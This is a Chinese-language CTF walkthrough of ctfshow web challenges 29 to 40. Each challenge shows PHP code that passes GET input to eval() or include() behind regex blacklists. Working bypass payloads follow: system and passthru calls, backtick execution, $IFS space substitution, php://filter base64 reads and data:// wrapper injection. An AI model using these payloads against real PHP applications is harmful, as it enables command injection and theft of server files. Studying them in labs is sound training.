0X00 29
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}flag可以利用反引号绕过：
?c=system(“cat fl\ag.php”);
0X01 30
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}除了system，还有一堆命令执行的姿势：
passthru(“cat f*”);
echo `cat f*`;
0X02 31
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}在linux 空格可以用以下字符串代替：
%09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等echo`strings%09f*`;
echo`strings\$IFS\$9f*`
0x03 32
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}include不用括号，分号可以用?>代替。
?c=include$_GET[_]?>&_=php://filter/read=convert.base64-encode/resource=flag.php
33-35的payload同上
0x04 37
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}看到include想到伪协议。
?c=data://text/plain,<?php system(“cat f*”);?>
0x05 38
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
0x06 39
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}0x07 40
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}?c=data://text/plain,<?php system(“cat f*”);?>
后面拿?>闭合，限制后缀也无所谓了。
